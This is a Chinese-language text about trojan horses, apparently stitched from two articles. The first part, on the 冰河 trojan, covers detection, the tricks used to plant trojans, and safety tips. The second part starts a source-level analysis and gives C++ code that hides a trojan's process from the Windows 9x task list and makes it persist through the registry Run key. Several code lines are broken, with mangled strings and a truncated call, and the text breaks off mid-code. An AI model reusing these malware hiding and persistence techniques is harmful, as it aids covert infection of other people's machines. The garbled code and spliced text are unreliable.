另外,对于驱动程序/动态链接库木马,有一种方法可以试试,使用Windows的"系统文件检查器",通过"开始菜单"-"程序"-"附件"-"系统工具"-"系统信息"-"工具"可以运行"系统文件检查器"(这么详细,不会找不到吧? 什么,你找不到! 吐血! 找一张98安装盘补装一下吧), 用“系统文件检查器”可检测操作系统文件的完整性,如果这些文件损坏,检查器可以将其还原,检查器还可以从安装盘中解压缩已压缩的文件(如驱动程序)。如果你的驱动程序或动态链接库在你没有升级它们的情况下被改动了,就有可能是木马(或者损坏了),提取改动过的文件可以保证你的系统安全和稳定。(注意,这个操作需要熟悉系统的操作者完成,由于安装某些程序可能会自动升级驱动程序或动态链接库,在这种情况下恢复"损坏的"文件可能会导致系统崩溃或程序不可用!)
五、狡诈篇(只要你的一点点疏忽......) 只要你有一点点的疏忽,就有可能被人安装了木马,知道一些给人种植木马的常见伎俩对于保证自己的安全不无裨益。 1.网上“帮”人种植木马的伎俩主要有以下的几条 a.软哄硬骗法; 这个方法很多啦, 而且跟技术无关的, 有的是装成大虾, 有的是装成PLMM, 有的态度谦恭, 有的......反正目的都一样,就是让你去运行一个木马的服务端。 b.组装合成法 就是所谓的221(Two To One二合一)把一个合法的程序和一个木马绑定,合法程序的功能不受影响,但当你运行合法程序时,木马就自动加载了,同时,由于绑定后程序的代码发生了变化,根据特征码扫描的杀毒软件很难查找出来。 c.改名换姓法 这个方法出现的比较晚,不过现在很流行,对于不熟练的windows操作者,很容易上当。具体方法是把可执行文件伪装成图片或文本----在程序中把图标改成Windows的默认图片图标, 再把文件名改为*.jpg.exe, 由于Win98默认设置是"不显示已知的文件后缀名",文件将会显示为*.jpg, 不注意的人一点这个图标就中木马了(如果你在程序中嵌一张图片就更完美了) d.愿者上钩法 木马的主人在网页上放置恶意代码,引诱用户点击,用户点击的结果不言而喻:开门揖盗;奉劝:不要随便点击网页上的链接,除非你了解它,信任它,为它死了也愿意...(什么乱七八糟呀)
2. 几点注意(一些陈词滥调) a.不要随便从网站上下载软件,要下也要到比较有名、比较有信誉的站点,这些站点一般都有专人杀马杀毒; b.不要过于相信别人,不能随便运行别人给的软件; (特别是认识的,不要以为认识了就安全了,就是认识的人才会给你装木马,哈哈,挑拨离间......) c.经常检查自己的系统文件、注册表、端口什么的,经常去安全站点查看最新的木马公告; d.改掉windows关于隐藏文件后缀名的默认设置(我是只有看见文件的后缀名才会放心地点它的) e.如果上网时发现莫名奇妙地硬盘乱响或猫上的数据灯乱闪,要小心; (我常常会突然关掉所有连接,然后盯著我的猫,你也可以试试,要是这时数据传送灯还在拼命闪,恭喜,你中木马了,快逃吧!)
六、后记 这篇文章的问世首先要感谢冰河的作者-黄鑫,我对他说:“我要写篇关于冰河的文章”,他说:“写呗”,然后就有了这篇文章的初稿(黄鑫:“不是吧,你答应要用稿费请我吃饭的,不要赖哦”),随后,黄鑫给我提了很多建议并提供了不少资料,谢谢冰河。 其次是西祠的yagami,他是公认的木马专家,在我写作期间,他不仅在木马的检测、杀除方面提出了不少自己的看法,还给我找来了几个木马的源代码作为参考,不过这个家伙实在太忙,所以想看《特洛伊木马看过来》的朋友就只有耐心地等待了。 第三个值得一提的家伙是武汉人,我的初稿一出来,他就忙不迭地贴出去了,当时我很狼狈,只能加紧写,争取早日完成,赶快把漏洞百出的初稿换下来,要不然,嘿嘿,估计大家也要等个一年半载的才能看到这篇文章了。 这篇文章的初稿出来以后,有很多朋友问:为什么不用C++,而要用VB来写木马的源码说明呢?呵呵,其一是我很懒,VB比 VC要容易多了,还不会把windows搞死机(我用VC写程序曾经把系统搞崩溃过的:P);其二,本文中能用API的,我基本上都用了,VB只是很小的一块, WINAPI嘛,移植起来是很容易的;其三,正如我前面强调的,本文只是对木马的结构和原理进行一番讨论,并非教人如何编写木马程序,要知道,公安部已经正式下文:在他人计算机内下毒的要处以刑事处分。相比而言,VB代码的危害性要小很多的(如果完全用VB做一个冰河,大概要一兆多,还不连那些控件和动态链接库文件,呵呵,这么庞大的程序,能 悄 悄 地在别人的机子里捣鬼吗?) 最后,作为冰河的朋友,我希望大家能抱著学术的态度来看这篇文章,同样能抱著学术的态度来看待冰河木马,不要用冰河做坏事,我替黄鑫先谢谢你了!(监视自己的女朋友不算,不过冰河不会对因为使用冰河导致和女友吵架直至分手负任何责任)
近年来, 黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行 源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。
1、木马程序的分类
木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。
2.木马程序的隐藏技术
木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。
说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。
进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。 线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。
服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。
想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。
伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。
当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。
出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int) { try { DWORD dwVersion = GetVersion(); //取得Windows的版本号 if (dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 { int (CALLBACK *rsp)(DWORD,DWORD); HINSTANCE dll=LoadLibrary("KERNEL32.DLL"); //装入KERNEL32.DLL rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess"); //找到RegisterServiceProcess的入口 rsp(NULL,1); //注册服务 FreeLibrary(dll); //释放DLL模块 } } catch (Exception &exception) //处理异常事件 { //处理异常事件 } return 0; }
3、程序的自加载运行技术
让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersions\Run键值来实现自启动的程序:
自装载部分:
HKEY hkey; AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">\\")+PName unsigned long k; k=REG_OPENED_EXISTING_KEY; RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\", 0L, NULL, REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE, NULL, &hkey,&k); RegSetValueEx(hkey, "BackGroup", 0, REG_SZ, NewProgramName.c_str(), NewProgramName.Length()); RegCloseKey(hkey); if (int(ShellExecute(Handle, "open", NewProgramName.c_str(), NULL, NULL, SW_HIDE))>32) { WantClose=true; Close(); } else { HKEY hkey; unsigned long k; k=REG_OPENED_EXISTING_KEY; long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey,&k); RegSetValueEx(hkey, "BackGroup", 0, REG_SZ, ProgramName.c_str(), ProgramName.Length()); int num=0; char str[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{ Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num,str, NULL, &type, strv,&vl);
if (strcmp(str,"BGroup")==0) { DeleteFile(AnsiString(strv)); RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup"); break; }
}while(Suc== ERROR_SUCCESS); RegCloseKey(hkey); }
自装载程序的卸载代码:
int num; char str2[20]; DWORD lth=20; DWORD type; char strv[255]; DWORD vl=254; DWORD Suc; do{ Suc=RegEnumValue(HKEY_LOCAL_MACHINE, (DWORD)num, str, NULL, &type, strv, &vl); if (strcmp(str,"BGroup")==0) { DeleteFile(AnsiString(strv)); RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup"); break; } }while(Suc== ERROR_SUCCESS)
HKEY hkey; unsigned long k; k=REG_OPENED_EXISTING_KEY; RegCreateKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN", 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE,NULL, &hkey, &k); do{ Suc=RegEnumValue(hkey,(DWORD)num,str, if (strcmp(str,"BackGroup")==0) { DeleteFile(AnsiString(strv)); RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup"); break; } }while(Suc== ERROR_SUCCESS) RegCloseKey(hkey);
其中自装载部分使用C++ Builder可以这样写,会比较简化:
TRegistry & regKey = *new TRegistry(); regKey.RootKey=HKEY_LOCAL_MACHINE; regKey.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",true); if(!regKey.ValueExists(&q | | |